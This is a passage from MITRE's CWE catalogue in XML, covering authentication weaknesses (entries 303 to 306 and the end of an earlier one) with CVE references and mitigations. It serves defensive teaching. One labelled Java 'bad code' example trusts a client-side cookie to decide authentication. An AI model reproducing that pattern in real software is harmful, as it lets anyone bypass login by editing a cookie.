					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement proper protection for immutable data (e.g. environment
							variable, hidden form fields, etc.)</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, an "authenticated" cookie is used to
						determine whether or not a user should be granted access to a system. Of
						course, modifying the value of a cookie on the client-side is trivial, but
						many developers assume that cookies are essentially immutable.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>boolean authenticated = new
								Boolean(getCookieValue("authenticated")).booleanValue();</Code>
							              <Code>if (authenticated) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0367</Observed_Example_Reference>
					          <Observed_Example_Description>DebPloit</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0261</Observed_Example_Reference>
					          <Observed_Example_Description>Web auth</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1730</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass by setting certain cookies
						to "true".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1734</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass by setting certain cookies
						to "true".</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2064</Observed_Example_Reference>
					          <Observed_Example_Description>Admin access by setting a
						cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2054</Observed_Example_Reference>
					          <Observed_Example_Description>Gain privileges by setting
						cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1611</Observed_Example_Reference>
					          <Observed_Example_Description>Product trusts authentication information in
						cookie.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1708</Observed_Example_Reference>
					          <Observed_Example_Description>Authentication bypass by setting admin-testing
						variable to true.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1787</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass auth and gain privileges by setting a
						variable.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication Bypass via Assumed-Immutable
						Data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Unvalidated Input</Mapped_Node_Name>
					          <Mapped_Node_ID>A1</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not base security checks on untrusted
						sources</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>274</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>39</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>45</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>77</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="303" Name="Incorrect Implementation of Authentication Algorithm" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The requirements for the software dictate the use of an
					established authentication algorithm, but the implementation of the algorithm is
					incorrect.</Description_Summary>
				        <Extended_Description>
					          <Text>This incorrect implementation may allow authentication to be
						bypassed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0750</Observed_Example_Reference>
					          <Observed_Example_Description>Conditional should have been an 'or' not an
						'and'.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication Logic Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>90</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Authentication Logic
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Improper Implementation of
						Authentication Algorithm</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="304" Name="Missing Critical Step in Authentication" Status="Draft" Weakness_Abstraction="Base">
			      <Description>
				        <Description_Summary>The software implements an authentication technique, but it
					skips a step that weakens the technique.</Description_Summary>
				        <Extended_Description>
					          <Text>Authentication techniques should follow the algorithms that define them
						exactly, otherwise authentication can be bypassed or more easily subjected
						to brute force attacks.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can lead to the exposure of resources or functionality
							to unintended actors, possibly providing attackers with sensitive
							information or allowing attackers to execute arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2163</Observed_Example_Reference>
					          <Observed_Example_Description>Shared secret not verified in a RADIUS response
						packet, allowing authentication bypass by spoofing server
						replies.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Critical Step in Authentication</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="305" Name="Authentication Bypass by Primary Weakness" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The authentication algorithm is sound, but the implemented
					mechanism can be bypassed as the result of a separate weakness that is primary
					to the authentication error.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Most "authentication bypass" errors are resultant, not primary.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1374</Observed_Example_Reference>
					          <Observed_Example_Description>The provided password is only compared against the
						first character of the real password.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0979</Observed_Example_Reference>
					          <Observed_Example_Description>The password is not properly checked, which allows
						remote attackers to bypass access controls by sending a 1-byte password that
						matches the first character of the real password.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0088</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Forum software does not properly initialize
						an array, which inadvertently sets the password to a single character,
						allowing remote attackers to easily guess the password and gain
						administrative privileges. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Authentication Bypass by Primary Weakness</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="306" Name="Missing Authentication for Critical Function" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not perform any authentication for
					functionality that requires a provable user identity or consumes a significant
					amount of resources.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>812</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is separate from "bypass" issues in which authentication exists, but
						is faulty.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Exposing critical functionality essentially provides an attacker with
							the privilege level of that functionality. The consequences will depend
							on the associated functionality, but they can range from reading or
							modifying sensitive data, access to administrative or other privileged
							functionality, or possibly even execution of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-7.2">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of custom authentication mechanisms.</Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-6.1">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis is useful for detecting commonly-used idioms
							for authentication. A tool may be able to analyze related configuration
							files, such as .htaccess in Apache web servers, or detect the usage of
							commonly-used authentication libraries.</Text>
						            <Text>Generally, automated static analysis tools have difficulty detecting
							custom authentication schemes. In addition, the software's design may
							include some functionality that is accessible to any user and does not
							require an established identity; an automated technique that detects the
							absence of authentication may report false positives.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Divide the software into anonymous, normal, privileged, and
							administrative areas. Identify which of these areas require a proven
							user identity, and use a centralized authentication capability.</Text>
						            <Text>Identify all potential communication channels, or other means of
							interaction with the software, to ensure that all channels are
							appropriately protected. Developers sometimes perform authentication at
							the primary channel, but open up a secondary channel that is assumed to
							be private. For example, a login mechanism may be listening on one
							network port, but after successful authentication, it may open up a
							second port where it waits for the connection, but avoids authentication
							because it assumes that only the authenticated party will connect to the
							port.</Text>
						            <Text>In general, if the software or protocol allows a single session or
							user state to persist across multiple connections or channels,
							authentication and appropriate credential management need to be used
							throughout.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where possible, avoid implementing custom authentication routines and
							consider using authentication capabilities as provided by the
							surrounding framework, operating system, or environment. These may make
							it easier to provide a clear separation between authentication tasks and
							authorization tasks.</Text>
						            <Text>In environments such as the World Wide Web, the line between
							authentication and authorization is sometimes blurred. If custom
							authentication routines are required instead of those provided by the
							server, then these routines must be applied to every single page, since
							these pages could be requested directly.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.5">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using libraries with authentication capabilities
							such as OpenSSL or the ESAPI Authenticator [R.306.3].</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example the method createBankAccount is used
						to create a BankAccount object for a bank management
						application.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
